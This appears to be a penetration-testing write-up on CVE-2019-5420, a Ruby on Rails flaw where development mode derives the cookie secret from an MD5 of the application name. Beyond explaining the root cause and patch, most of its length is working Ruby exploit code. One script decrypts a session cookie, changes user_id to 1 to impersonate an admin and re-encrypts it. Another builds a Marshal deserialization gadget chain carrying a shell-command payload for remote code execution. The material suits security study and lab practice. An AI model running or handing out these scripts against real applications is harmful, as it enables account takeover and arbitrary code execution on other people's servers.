cve-2019-5420-ruby-on-rails-development-mode-session-forgery-rce
CVE-2019-5420: Ruby on Rails Development Mode Session Forgery/RCE
CVE-2019-5420 is a vulnerability in Ruby on Rails applications running in development (or test) mode, where the secret key used to encrypt and sign session cookies is predictable.
If an attacker can:
- Identify the application name
- And the app runs in
developmentortestmode
Then they can:
- Derive the session encryption key
- Decrypt their own session
- Modify sensitive fields (e.g.
user_id) - Re-encrypt the cookie
- Impersonate other users (including admin)
This is a session forgery vulnerability.
Root Cause
In vulnerable Rails versions, when no explicit secret_key_base is configured, Rails derives it automatically in development/test mode using:
MD5(application_name)
Vulnerable logic
if Rails.env.development? || Rails.env.test?
secrets.secret_key_base || Digest::MD5.hexdigest(self.class.name)
end
So instead of a random secret:
- The key becomes deterministic
- Anyone who knows the app name can compute it
Patch
Rails later replaced this with a randomly generated secret:
secrets.secret_key_base ||= generate_development_secret
Key Insight
Rails appends ::Application before hashing.
Example:
<strong># AppNameHere → AppNameHere::Application
</strong>MD5("AppNameHere::Application")
This derived value becomes the master secret used to protect cookies.
Devise Limitation (Important)
If the session contains something like:
"warden.user.user.key":[[1],"$2a$11$BkGB3JhRmoQ3jKbSxx.byO"]
Then:
- The app uses Devise
- Session integrity depends on the user’s bcrypt password hash
- You cannot forge a session without knowing the password
So Devise reduces impact, but does not fix the underlying flaw.
High-Level Exploitation Flow
-
Identify app name
- Cookie name often leaks it
- Error pages, HTML titles, JS variables, repo names
-
Derive secret
MD5("#{AppName}::Application") -
Extract cookie
- Rails encrypted cookie (
_app_session). - They are in format
<Base64(ciphertext)>--<Base64(iv)>--<Base64(auth_tag)>
- Rails encrypted cookie (
-
Reproduce Rails crypto
- Key derivation
- Encryption algorithm
- Cookie salts
- Decrypt session
- Obtain session hash and decrypt using following code
require 'openssl'
require 'base64'
require 'cgi'
cookie = CGI.unescape "mVeEs26%2F67erOz5UbGuaLJp6tJIOQYwuwe5wnO4Ky1%2FUyTAcGE2z7ZUQWoeeGf9YnLqAMsuxWeeHv%2BRqI2Lnear%2BB93N%2Baq3YPKqiCzpVpjzbrnyHnhjVW%2F8dz53cPO71aEaBA%2B1xKw3M3PA1ftfpNUr0wyRPB9vG9w%3D--XSVWCx4Ocx%2FM%2B9kq--LUx%2BihDYT0jizHnbhzQ5aA%3D%3D"
application_name = "PentesterLab"
secret_key_base = Digest::MD5.hexdigest("#{application_name}::Application")
key = OpenSSL::PKCS5.pbkdf2_hmac_sha1(secret_key_base, "authenticated encrypted cookie", 1000, 32)
cipher = OpenSSL::Cipher.new("aes-256-gcm")
encrypted_data, iv, auth_tag = cookie.split("--").map { |v| ::Base64.strict_decode64(v) }
cipher.decrypt
cipher.key = key
cipher.iv = iv
cipher.auth_tag = auth_tag
cipher.auth_data = ""
decrypted_data = cipher.update(encrypted_data)
decrypted_data << cipher.final
puts decrypted_data
### ... re-encryption code ...
- Modify session
<strong>## ... decryption code ...
</strong>
require 'json'
data = JSON.parse(decrypted_data)
data["user_id"] = 1 ## user_id is changed to 1 to forge as admin user.
modified_data = data.to_json
enc = OpenSSL::Cipher.new("aes-256-gcm")
enc.encrypt
enc.key = key
iv = OpenSSL::Random.random_bytes(12)
enc.iv = iv
enc.auth_data = ""
encrypted_modified_data = enc.update(modified_data)
encrypted_modified_data << enc.final
blob = "#{Base64.strict_encode64(encrypted_modified_data)}--#{Base64.strict_encode64(iv)}--#{Base64.strict_encode64(enc.auth_tag)}"
puts CGI.escape(blob)
- Send forged cookie
- Logged in as victim
Rails Internals Involved
To write a working exploit, you need to understand:
- /active_support/message_encryptor.rb (message encryption)
- /active_support/key_generator.rb (key derivation)
- /railties/lib/rails/application.rb (application key generation)
- /action_dispatch/railtie.rb (cookie salt)
- /actionpack/test/dispatch/session/cookie_store_test.rb (Rails tests are often the best exploit documentation)
RCE?
Yes, we saw after decoding the cookie that JSON was used for serialization. But if Marshal was used for serialization we could achieve RCE.
If you are performing a code review, you can tell what serializer is used by inspecting the value of Rails.application.config.action_dispatch.cookies_serializer.
JSON (:json) is the safest option.
Code for RCE with Ruby Marshal Universal RCE
require 'openssl'
require 'base64'
require 'cgi'
cookie = CGI.unescape "o2L5aEzu9NBqBqFDOpCjKxQwi5T96kUA%2BMBOlyQdNTpVnMYab8DthsJXX0rOucPdzLce3xxkrDNJN7871TrD9hJH%2F0qoDZax3T471lZtw6y21zS9LeNOXUCxgsIaRHZ6srfkUj1Jq2YuScTKCWRK%2BrTSrH6xYZzJ0JR%2BhH7Vv2OqHUULYkWIXpux6R0Cp12zRxEffCZ1rpfs%2BqdgfOXmYwPC5piGGEAApzK9JSw5sd0SF5H89ukweeXVia59euWrdzIOOMtdt45H8M%2FgcFDqbqBeghEJ2%2BEPDEDdmNJrM1qfHbiB67v6qY%2FKPym0MJXeJX%2B4OZ6A1reS7lEWBSaOdug8rMR4SEn3RZiDyQLwmjg4ZCJFZ1mX6hCMjTQdlI%2BLvcRR2OcX5IikbkdsMA%3D%3D--Ujpj616FtTlhtF8i--kUa46uwMDCoqXEEghMnLYA%3D%3D"
application_name = "PentesterLab"
secret_key_base = Digest::MD5.hexdigest("#{application_name}::Application")
key = OpenSSL::PKCS5.pbkdf2_hmac_sha1(secret_key_base, "authenticated encrypted cookie", 1000, 32)
cipher = OpenSSL::Cipher.new("aes-256-gcm")
encrypted_data, iv, auth_tag = cookie.split("--").map { |v| ::Base64.strict_decode64(v) }
cipher.decrypt
cipher.key = key
cipher.iv = iv
cipher.auth_tag = auth_tag
cipher.auth_data = ""
decrypted_data = cipher.update(encrypted_data)
decrypted_data << cipher.final
puts decrypted_data
require 'json'
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2") ## << Change Payload!!!
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
## puts payload
enc = OpenSSL::Cipher.new("aes-256-gcm")
enc.encrypt
enc.key = key
iv = OpenSSL::Random.random_bytes(12)
enc.iv = iv
enc.auth_data = ""
encrypted_modified_data = enc.update(payload)
encrypted_modified_data << enc.final
blob = "#{Base64.strict_encode64(encrypted_modified_data)}--#{Base64.strict_encode64(iv)}--#{Base64.strict_encode64(enc.auth_tag)}"
puts CGI.escape(blob)